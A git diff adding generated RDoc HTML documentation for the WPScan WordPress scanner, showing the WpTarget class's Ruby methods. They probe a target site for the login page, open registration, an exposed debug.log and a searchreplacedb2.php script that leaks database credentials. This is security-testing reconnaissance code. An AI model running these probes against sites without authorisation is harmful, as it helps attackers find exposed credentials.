+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="class">WpTarget</h1>
+
+    <div id="description" class="description">
+      
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+
+      
+      <!-- Attributes -->
+      <div id="attribute-method-details" class="method-section section">
+        <h3 class="section-header">Attributes</h3>
+
+        
+        <div id="uri-attribute-method" class="method-detail">
+          <a name="uri"></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">uri</span><span
+              class="attribute-access-type">[R]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+        <div id="verbose-attribute-method" class="method-detail">
+          <a name="verbose"></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">verbose</span><span
+              class="attribute-access-type">[R]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+      </div><!-- attribute-method-details -->
+      
+
+      <!-- Methods -->
+      
+      <div id="public-class-method-details" class="method-section section">
+        <h3 class="section-header">Public Class Methods</h3>
+
+      
+        <div id="new-method" class="method-detail ">
+          <a name="method-c-new"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">new</span><span
+              class="method-args">(target_url, options = {})</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="new-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_target.rb, line 36</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">target_url</span>, <span class="ruby-identifier">options</span> = {})
+  <span class="ruby-ivar">@uri</span>            = <span class="ruby-constant">URI</span>.<span class="ruby-identifier">parse</span>(<span class="ruby-identifier">add_trailing_slash</span>(<span class="ruby-identifier">add_http_protocol</span>(<span class="ruby-identifier">target_url</span>)))
+  <span class="ruby-ivar">@verbose</span>        = <span class="ruby-identifier">options</span>[<span class="ruby-value">:verbose</span>]
+  <span class="ruby-ivar">@wp_content_dir</span> = <span class="ruby-identifier">options</span>[<span class="ruby-value">:wp_content_dir</span>]
+  <span class="ruby-ivar">@wp_plugins_dir</span> = <span class="ruby-identifier">options</span>[<span class="ruby-value">:wp_plugins_dir</span>]
+
+  <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>(<span class="ruby-identifier">options</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-value">:max_threads</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:threads</span>]))
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- new-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- new-method -->
+
+      
+        <div id="valid_response_codes-method" class="method-detail ">
+          <a name="method-c-valid_response_codes"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">valid_response_codes</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Valid HTTP return codes</p>
+            
+
+            
+            <div class="method-source-code" id="valid_response_codes-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_target.rb, line 76</span>
+<span class="ruby-keyword">def</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">valid_response_codes</span>
+  [<span class="ruby-value">200</span>, <span class="ruby-value">403</span>, <span class="ruby-value">301</span>, <span class="ruby-value">302</span>, <span class="ruby-value">500</span>]
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- valid_response_codes-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- valid_response_codes-method -->
+
+      
+      </div><!-- public-class-method-details -->
+    
+      <div id="public-instance-method-details" class="method-section section">
+        <h3 class="section-header">Public Instance Methods</h3>
+
+      
+        <div id="debug_log_url-method" class="method-detail ">
+          <a name="method-i-debug_log_url"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">debug_log_url</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="debug_log_url-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_target.rb, line 122</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">debug_log_url</span>
+  <span class="ruby-ivar">@uri</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-node">&quot;#{wp_content_dir()}/debug.log&quot;</span>).<span class="ruby-identifier">to_s</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- debug_log_url-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- debug_log_url-method -->
+
+      
+        <div id="error_404_hash-method" class="method-detail ">
+          <a name="method-i-error_404_hash"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">error_404_hash</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Return the MD5 hash of a 404 page</p>
+            
+
+            
+            <div class="method-source-code" id="error_404_hash-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_target.rb, line 63</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">error_404_hash</span>
+  <span class="ruby-keyword">unless</span> <span class="ruby-ivar">@error_404_hash</span>
+    <span class="ruby-identifier">non_existant_page</span> = <span class="ruby-constant">Digest</span><span class="ruby-operator">::</span><span class="ruby-constant">MD5</span>.<span class="ruby-identifier">hexdigest</span>(<span class="ruby-identifier">rand</span>(<span class="ruby-value">9999999999</span>).<span class="ruby-identifier">to_s</span>) <span class="ruby-operator">+</span> <span class="ruby-string">&quot;.html&quot;</span>
+
+    <span class="ruby-identifier">response</span> = <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">get</span>(<span class="ruby-ivar">@uri</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-identifier">non_existant_page</span>).<span class="ruby-identifier">to_s</span>)
+
+    <span class="ruby-ivar">@error_404_hash</span> = <span class="ruby-constant">Digest</span><span class="ruby-operator">::</span><span class="ruby-constant">MD5</span>.<span class="ruby-identifier">hexdigest</span>(<span class="ruby-identifier">response</span>.<span class="ruby-identifier">body</span>)
+  <span class="ruby-keyword">end</span>
+
+  <span class="ruby-ivar">@error_404_hash</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- error_404_hash-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- error_404_hash-method -->
+
+      
+        <div id="has_debug_log-3F-method" class="method-detail ">
+          <a name="method-i-has_debug_log-3F"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">has_debug_log?</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="has_debug_log-3F-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_target.rb, line 116</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">has_debug_log?</span>
+  <span class="ruby-comment"># We only get the first 700 bytes of the file to avoid loading huge file (like 2Go)</span>
+  <span class="ruby-identifier">response_body</span> = <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">get</span>(<span class="ruby-identifier">debug_log_url</span>(), <span class="ruby-value">:headers</span> =<span class="ruby-operator">&gt;</span> {<span class="ruby-string">&quot;range&quot;</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-string">&quot;bytes=0-700&quot;</span>}).<span class="ruby-identifier">body</span>
+  <span class="ruby-identifier">response_body</span>[<span class="ruby-regexp">%{\[[^\]]+\] PHP (?:Warning|Error|Notice):}</span>] <span class="ruby-operator">?</span> <span class="ruby-keyword">true</span> <span class="ruby-operator">:</span> <span class="ruby-keyword">false</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- has_debug_log-3F-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- has_debug_log-3F-method -->
+
+      
+        <div id="is_multisite-3F-method" class="method-detail ">
+          <a name="method-i-is_multisite-3F"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">is_multisite?</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="is_multisite-3F-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_target.rb, line 161</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">is_multisite?</span>
+  <span class="ruby-keyword">unless</span> <span class="ruby-ivar">@multisite</span>
+    <span class="ruby-comment"># when multi site, there is no redirection or a redirect to the site itself</span>
+    <span class="ruby-comment"># otherwise redirect to wp-login.php</span>
+    <span class="ruby-identifier">url</span> = <span class="ruby-ivar">@uri</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-string">&quot;wp-signup.php&quot;</span>)
+    <span class="ruby-identifier">resp</span> = <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">get</span>(<span class="ruby-identifier">url</span>)
+    <span class="ruby-keyword">if</span> <span class="ruby-identifier">resp</span>.<span class="ruby-identifier">code</span> <span class="ruby-operator">==</span> <span class="ruby-value">302</span> <span class="ruby-keyword">and</span> <span class="ruby-identifier">resp</span>.<span class="ruby-identifier">headers_hash</span>[<span class="ruby-string">&quot;location&quot;</span>] <span class="ruby-operator">=~</span> <span class="ruby-regexp">/wp-login\.php\?action=register/</span>
+      <span class="ruby-ivar">@multisite</span> = <span class="ruby-keyword">false</span>
+    <span class="ruby-keyword">elsif</span> <span class="ruby-identifier">resp</span>.<span class="ruby-identifier">code</span> <span class="ruby-operator">==</span> <span class="ruby-value">302</span> <span class="ruby-keyword">and</span> <span class="ruby-identifier">resp</span>.<span class="ruby-identifier">headers_hash</span>[<span class="ruby-string">&quot;location&quot;</span>] <span class="ruby-operator">=~</span> <span class="ruby-regexp">/wp-signup\.php/</span>
+      <span class="ruby-ivar">@multisite</span> = <span class="ruby-keyword">true</span>
+    <span class="ruby-keyword">elsif</span> <span class="ruby-identifier">resp</span>.<span class="ruby-identifier">code</span> <span class="ruby-operator">==</span> <span class="ruby-value">200</span>
+      <span class="ruby-ivar">@multisite</span> = <span class="ruby-keyword">true</span>
+    <span class="ruby-keyword">else</span>
+      <span class="ruby-ivar">@multisite</span> = <span class="ruby-keyword">false</span>
+    <span class="ruby-keyword">end</span>
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-ivar">@multisite</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- is_multisite-3F-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- is_multisite-3F-method -->
+
+      
+        <div id="login_url-method" class="method-detail ">
+          <a name="method-i-login_url"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">login_url</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="login_url-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_target.rb, line 50</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">login_url</span>
+  <span class="ruby-identifier">url</span> = <span class="ruby-ivar">@uri</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-string">&quot;wp-login.php&quot;</span>).<span class="ruby-identifier">to_s</span>
+
+  <span class="ruby-comment"># Let's check if the login url is redirected (to https url for example)</span>
+  <span class="ruby-identifier">redirection</span> = <span class="ruby-identifier">redirection</span>(<span class="ruby-identifier">url</span>)
+  <span class="ruby-keyword">if</span> <span class="ruby-identifier">redirection</span>
+    <span class="ruby-identifier">url</span> = <span class="ruby-identifier">redirection</span>
+  <span class="ruby-keyword">end</span>
+
+  <span class="ruby-identifier">url</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- login_url-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- login_url-method -->
+
+      
+        <div id="registration_enabled-3F-method" class="method-detail ">
+          <a name="method-i-registration_enabled-3F"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">registration_enabled?</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Should check wp-login.php if registration is enabled or not</p>
+            
+
+            
+            <div class="method-source-code" id="registration_enabled-3F-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_target.rb, line 139</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">registration_enabled?</span>
+  <span class="ruby-identifier">resp</span> = <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">get</span>(<span class="ruby-identifier">registration_url</span>)
+  <span class="ruby-comment"># redirect only on non multi sites</span>
+  <span class="ruby-keyword">if</span> <span class="ruby-identifier">resp</span>.<span class="ruby-identifier">code</span> <span class="ruby-operator">==</span> <span class="ruby-value">302</span> <span class="ruby-keyword">and</span> <span class="ruby-identifier">resp</span>.<span class="ruby-identifier">headers_hash</span>[<span class="ruby-string">&quot;location&quot;</span>] <span class="ruby-operator">=~</span> <span class="ruby-regexp">/wp-login\.php\?registration=disabled/</span>
+    <span class="ruby-identifier">enabled</span> = <span class="ruby-keyword">false</span>
+  <span class="ruby-comment"># multi site registration form</span>
+  <span class="ruby-keyword">elsif</span> <span class="ruby-identifier">resp</span>.<span class="ruby-identifier">code</span> <span class="ruby-operator">==</span> <span class="ruby-value">200</span> <span class="ruby-keyword">and</span> <span class="ruby-identifier">resp</span>.<span class="ruby-identifier">body</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp">/&lt;form id=&quot;setupform&quot; method=&quot;post&quot; action=&quot;[^&quot;]*wp-signup\.php[^&quot;]*&quot;&gt;/</span>
+    <span class="ruby-identifier">enabled</span> = <span class="ruby-keyword">true</span>
+  <span class="ruby-comment"># normal registration form</span>
+  <span class="ruby-keyword">elsif</span> <span class="ruby-identifier">resp</span>.<span class="ruby-identifier">code</span> <span class="ruby-operator">==</span> <span class="ruby-value">200</span> <span class="ruby-keyword">and</span> <span class="ruby-identifier">resp</span>.<span class="ruby-identifier">body</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp">/&lt;form name=&quot;registerform&quot; id=&quot;registerform&quot; action=&quot;[^&quot;]*wp-login\.php[^&quot;]*&quot;/</span>
+    <span class="ruby-identifier">enabled</span> = <span class="ruby-keyword">true</span>
+  <span class="ruby-comment"># registration disabled</span>
+  <span class="ruby-keyword">else</span>
+    <span class="ruby-identifier">enabled</span> = <span class="ruby-keyword">false</span>
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-identifier">enabled</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- registration_enabled-3F-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- registration_enabled-3F-method -->
+
+      
+        <div id="registration_url-method" class="method-detail ">
+          <a name="method-i-registration_url"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">registration_url</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="registration_url-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_target.rb, line 157</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">registration_url</span>
+  <span class="ruby-identifier">is_multisite?</span> <span class="ruby-operator">?</span> <span class="ruby-ivar">@uri</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-string">&quot;wp-signup.php&quot;</span>) <span class="ruby-operator">:</span> <span class="ruby-ivar">@uri</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-string">&quot;wp-login.php?action=register&quot;</span>)
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- registration_url-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- registration_url-method -->
+
+      
+        <div id="search_replace_db_2_exists-3F-method" class="method-detail ">
+          <a name="method-i-search_replace_db_2_exists-3F"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">search_replace_db_2_exists?</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="search_replace_db_2_exists-3F-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_target.rb, line 133</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">search_replace_db_2_exists?</span>
+  <span class="ruby-identifier">resp</span> = <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">get</span>(<span class="ruby-identifier">search_replace_db_2_url</span>)
+  <span class="ruby-identifier">resp</span>.<span class="ruby-identifier">code</span> <span class="ruby-operator">==</span> <span class="ruby-value">200</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">resp</span>.<span class="ruby-identifier">body</span>[<span class="ruby-regexp">%{by interconnect}</span>]
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- search_replace_db_2_exists-3F-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- search_replace_db_2_exists-3F-method -->
+
+      
+        <div id="search_replace_db_2_url-method" class="method-detail ">
+          <a name="method-i-search_replace_db_2_url"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">search_replace_db_2_url</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Script for replacing strings in wordpress databases reveals databse
+credentials after hitting submit <a
+href="http://interconnectit.com/124/search-and-replace-for-wordpress-databases/">interconnectit.com/124/search-and-replace-for-wordpress-databases/</a></p>
+            
+
+            
+            <div class="method-source-code" id="search_replace_db_2_url-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_target.rb, line 129</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">search_replace_db_2_url</span>
+  <span class="ruby-ivar">@uri</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-string">&quot;searchreplacedb2.php&quot;</span>).<span class="ruby-identifier">to_s</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- search_replace_db_2_url-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- search_replace_db_2_url-method -->
+
+      
+        <div id="theme-method" class="method-detail ">
+          <a name="method-i-theme"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">theme</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>return <a href="WpTheme.html">WpTheme</a></p>
+            
+
+            
+            <div class="method-source-code" id="theme-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_target.rb, line 81</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">theme</span>
+  <span class="ruby-constant">WpTheme</span>.<span class="ruby-identifier">find</span>(<span class="ruby-ivar">@uri</span>)
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- theme-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- theme-method -->
+
+      
+        <div id="url-method" class="method-detail ">
+          <a name="method-i-url"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">url</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Alias of @uri.to_s</p>
+            
+
+            
+            <div class="method-source-code" id="url-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_target.rb, line 46</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">url</span>
+  <span class="ruby-ivar">@uri</span>.<span class="ruby-identifier">to_s</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- url-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- url-method -->
+
+      
+        <div id="version-method" class="method-detail ">
+          <a name="method-i-version"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">version</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>return <a href="WpVersion.html">WpVersion</a></p>
+            
+
+            
+            <div class="method-source-code" id="version-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_target.rb, line 86</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">version</span>
+  <span class="ruby-constant">WpVersion</span>.<span class="ruby-identifier">find</span>(<span class="ruby-ivar">@uri</span>, <span class="ruby-identifier">wp_content_dir</span>)
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- version-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- version-method -->
+
+      
+        <div id="wp_content_dir-method" class="method-detail ">
+          <a name="method-i-wp_content_dir"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">wp_content_dir</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="wp_content_dir-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_target.rb, line 90</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">wp_content_dir</span>
+  <span class="ruby-keyword">unless</span> <span class="ruby-ivar">@wp_content_dir</span>
+    <span class="ruby-identifier">index_body</span> = <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">get</span>(<span class="ruby-ivar">@uri</span>.<span class="ruby-identifier">to_s</span>).<span class="ruby-identifier">body</span>
+    <span class="ruby-comment"># Only use the path because domain can be text or an ip</span>
+    <span class="ruby-identifier">uri_path</span> = <span class="ruby-ivar">@uri</span>.<span class="ruby-identifier">path</span>
+
+    <span class="ruby-keyword">if</span> <span class="ruby-identifier">index_body</span>[<span class="ruby-node">/#{Regexp.escape(uri_path)}\/wp-content\/(?:themes|plugins)\//</span>]
+      <span class="ruby-ivar">@wp_content_dir</span> = <span class="ruby-string">&quot;wp-content&quot;</span>
+    <span class="ruby-keyword">else</span>
+      <span class="ruby-ivar">@wp_content_dir</span> = <span class="ruby-identifier">index_body</span>[<span class="ruby-node">/(?:href|src)\s*=\s*(?:&quot;|').+#{Regexp.escape(uri_path)}([^&quot;']+)\/(?:themes|plugins)\/.*(?:&quot;|')/</span>, <span class="ruby-value">1</span>]
+    <span class="ruby-keyword">end</span>
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-ivar">@wp_content_dir</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- wp_content_dir-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- wp_content_dir-method -->
+
+      
+        <div id="wp_plugins_dir-method" class="method-detail ">
+          <a name="method-i-wp_plugins_dir"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">wp_plugins_dir</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="wp_plugins_dir-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_target.rb, line 105</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">wp_plugins_dir</span>
+  <span class="ruby-keyword">unless</span> <span class="ruby-ivar">@wp_plugins_dir</span>
+    <span class="ruby-ivar">@wp_plugins_dir</span> = <span class="ruby-node">&quot;#{wp_content_dir}/plugins&quot;</span>
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-ivar">@wp_plugins_dir</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- wp_plugins_dir-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- wp_plugins_dir-method -->
+
+      
+        <div id="wp_plugins_dir_exists-3F-method" class="method-detail ">
+          <a name="method-i-wp_plugins_dir_exists-3F"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">wp_plugins_dir_exists?</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="wp_plugins_dir_exists-3F-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_target.rb, line 112</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">wp_plugins_dir_exists?</span>
+  <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">get</span>(<span class="ruby-ivar">@uri</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-identifier">wp_plugins_dir</span>)).<span class="ruby-identifier">code</span> <span class="ruby-operator">!=</span> <span class="ruby-value">404</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- wp_plugins_dir_exists-3F-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- wp_plugins_dir_exists-3F-method -->
+
+      
+      </div><!-- public-instance-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/WpTheme.html b/doc/WpTheme.html
new file mode 100644
index 00000000..7998da6c
--- /dev/null
+++ b/doc/WpTheme.html
@@ -0,0 +1,489 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Class: WpTheme</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="class">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/wpscan/wp_theme_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/wpscan/wp_theme.rb">lib/wpscan/wp_theme.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+      <!-- Parent Class -->
+      <div id="parent-class-section" class="section">
+        <h3 class="section-header">Parent</h3>
+        
+        <p class="link"><a href="WpItem.html">WpItem</a></p>
+        
+      </div>
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-c-find">::find</a></li>
+          
+          <li><a href="#method-c-find_from_css_link">::find_from_css_link</a></li>
+          
+          <li><a href="#method-c-find_from_wooframework">::find_from_wooframework</a></li>
+          
+          <li><a href="#method-c-new">::new</a></li>
+          
+          <li><a href="#method-i-3D-3D-3D">#===</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
